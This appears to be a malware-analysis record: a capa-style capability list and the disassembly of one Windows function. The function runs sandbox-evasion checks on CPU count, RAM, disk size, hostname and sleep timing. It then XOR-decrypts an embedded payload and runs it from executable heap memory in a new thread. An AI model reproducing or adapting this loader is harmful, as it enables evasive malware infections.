Function at 0x22bb813ba
Capabilities:
Check for time delay via gettickcount
Contain obfuscated stackstrings
Get hostname
Get memory capacity
Get system information on windows
Link many functions at runtime

Disassembly:
push rbp
mov eax, 0x19810
call fcn.22bb82650
sub rsp, rax
lea rbp, [rsp + 0x80]
lea rax, [rbp + 0x196d0]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetSystemInfo]
call rax
mov eax, dword [rbp + 0x196f0]
mov dword [rbp + 0x19784], eax
cmp dword [rbp + 0x19784], 3
ja 0x22bb81402
mov eax, 0
jmp 0x22bb818d2
mov dword [rbp + 0x19690], 0x40
lea rax, [rbp + 0x19690]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GlobalMemoryStatusEx]
call rax
mov rax, qword [rbp + 0x19698]
shr rax, 0x14
mov dword [rbp + 0x19780], eax
cmp dword [rbp + 0x19780], 0xf9f
ja 0x22bb81446
mov eax, 0
jmp 0x22bb818d2
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 3
mov r9d, 0
mov r8d, 3
mov edx, 0
lea rcx, str..PhysicalDrive0
mov rax, qword [sym.imp.KERNEL32.dll_CreateFileW]
call rax
mov qword [rbp + 0x19778], rax
mov rax, qword [rbp + 0x19778]
mov qword [rsp + 0x38], 0
lea rdx, [rbp + 0x1966c]
mov qword [rsp + 0x30], rdx
mov dword [rsp + 0x28], 0x18
lea rdx, [rbp + 0x19670]
mov qword [rsp + 0x20], rdx
mov r9d, 0
mov r8d, 0
mov edx, 0x70000
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_DeviceIoControl]
call rax
mov rax, qword [rbp + 0x19670]
mov edx, dword [rbp + 0x1967c]
mov edx, edx
imul rax, rdx
mov edx, dword [rbp + 0x19680]
mov edx, edx
imul rax, rdx
mov edx, dword [rbp + 0x19684]
mov edx, edx
imul rax, rdx
lea rdx, [rax + 0x3fffffff]
test rax, rax
cmovs rax, rdx
sar rax, 0x1e
mov dword [rbp + 0x19774], eax
cmp dword [rbp + 0x19774], 0x31
ja 0x22bb8152a
mov eax, 0
jmp 0x22bb818d2
mov dword [rbp + 0x19668], 0x10
lea rdx, [rbp + 0x19668]
lea rax, [rbp + 0x19640]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetComputerNameW]
call rax
lea rax, [rbp + 0x19640]
mov rcx, rax
mov rax, qword [sym.imp.USER32.dll_CharUpperW]
call rax
lea rax, [rbp + 0x19640]
lea rdx, str.DESKTOP_
mov rcx, rax
call sym.wcsstr
test rax, rax
setne al
test al, al
je 0x22bb8158b
mov eax, 0
jmp 0x22bb818d2
mov rax, qword [sym.imp.KERNEL32.dll_GetTickCount]
call rax
mov eax, eax
mov qword [rbp + 0x19768], rax
lea rcx, str.ntdll.dll
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
call rax
lea rdx, str.NtDelayExecution
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x19760], rax
mov qword [rbp + 0x19638], 0xffffffffc4653600
lea rax, [rbp + 0x19638]
mov r8, qword [rbp + 0x19760]
mov rdx, rax
mov ecx, 0
call r8
mov rax, qword [sym.imp.KERNEL32.dll_GetTickCount]
call rax
mov eax, eax
mov qword [rbp + 0x19758], rax
mov rax, qword [rbp + 0x19758]
sub rax, qword [rbp + 0x19768]
cmp rax, 0x1869f
ja 0x22bb8161d
mov eax, 0
jmp 0x22bb818d2
lea rax, [rbp + 0x30]
lea rdx, [0x22bb84060]
mov ecx, 0x19600
mov r8, rcx
mov rcx, rax
call sym.memcpy
mov dword [rbp + 0x29], 0x456c454e
mov word [rbp + 0x2d], 0x726f
mov byte [rbp + 0x2f], 0
mov dword [rbp + 0x19754], 0x19600
movabs rax, 0x32336c656e72656b
mov qword [rbp + 0x1c], rax
mov dword [rbp + 0x24], 0x6c6c642e
mov byte [rbp + 0x28], 0
lea rax, [rbp + 0x1c]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov qword [rbp + 0x19748], rax
movabs rax, 0x6165724370616548
mov qword [rbp + 0x11], rax
mov word [rbp + 0x19], 0x6574
mov byte [rbp + 0x1b], 0
lea rdx, [rbp + 0x11]
mov rax, qword [rbp + 0x19748]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x19740], rax
movabs rax, 0x6f6c6c4170616548
mov qword [rbp + 7], rax
mov word [rbp + 0xf], 0x63
lea rdx, [rbp + 7]
mov rax, qword [rbp + 0x19748]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x19738], rax
movabs rax, 0x4d79706f436c7452
mov qword [rbp - 7], rax
mov dword [rbp + 1], 0x726f6d65
mov word [rbp + 5], 0x79
lea rdx, [rbp - 7]
mov rax, qword [rbp + 0x19748]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x19730], rax
movabs rax, 0x6854657461657243
mov qword [rbp - 0x14], rax
mov dword [rbp - 0xc], 0x64616572
mov byte [rbp - 8], 0
lea rdx, [rbp - 0x14]
mov rax, qword [rbp + 0x19748]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x19728], rax
movabs rax, 0x53726f4674696157
movabs rdx, 0x6a624f656c676e69
mov qword [rbp - 0x30], rax
mov qword [rbp - 0x28], rdx
mov dword [rbp - 0x20], 0x746365
lea rdx, [rbp - 0x30]
mov rax, qword [rbp + 0x19748]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x19720], rax
mov dword [rbp + 0x1978c], 0
mov dword [rbp + 0x19788], 0
mov eax, dword [rbp + 0x19788]
cdqe
cmp rax, 0x195ff
ja 0x22bb81815
cmp dword [rbp + 0x1978c], 6
jne 0x22bb817d3
mov dword [rbp + 0x1978c], 0
mov eax, dword [rbp + 0x19788]
cdqe
lea rdx, [rbp + 0x30]
add rax, rdx
movzx ecx, byte [rax]
mov eax, dword [rbp + 0x1978c]
cdqe
movzx edx, byte [rbp + rax + 0x29]
mov eax, dword [rbp + 0x19788]
cdqe
lea r8, [rbp + 0x30]
add rax, r8
xor edx, ecx
mov byte [rax], dl
add dword [rbp + 0x1978c], 1
add dword [rbp + 0x19788], 1
jmp 0x22bb817b0
mov rax, qword [rbp + 0x19740]
mov r8d, 0
mov edx, 0
mov ecx, 0x40000
call rax
mov qword [rbp + 0x19718], rax
mov rax, qword [rbp + 0x19718]
mov r9, qword [rbp + 0x19738]
mov r8d, 0x19600
mov edx, 8
mov rcx, rax
call r9
mov qword [rbp + 0x19710], rax
lea rdx, [rbp + 0x30]
mov rax, qword [rbp + 0x19710]
mov r9, qword [rbp + 0x19730]
mov r8d, 0x19600
mov rcx, rax
call r9
mov rdx, qword [rbp + 0x19710]
lea rax, [rbp - 0x34]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], 0
mov rax, qword [rbp + 0x19728]
mov r9d, 0
mov r8, rdx
mov edx, 0
mov ecx, 0
call rax
mov qword [rbp + 0x19708], rax
mov rax, qword [rbp + 0x19708]
mov r8, qword [rbp + 0x19720]
mov edx, 0xffffffff
mov rcx, rax
call r8
mov eax, 0
add rsp, 0x19810
pop rbp
ret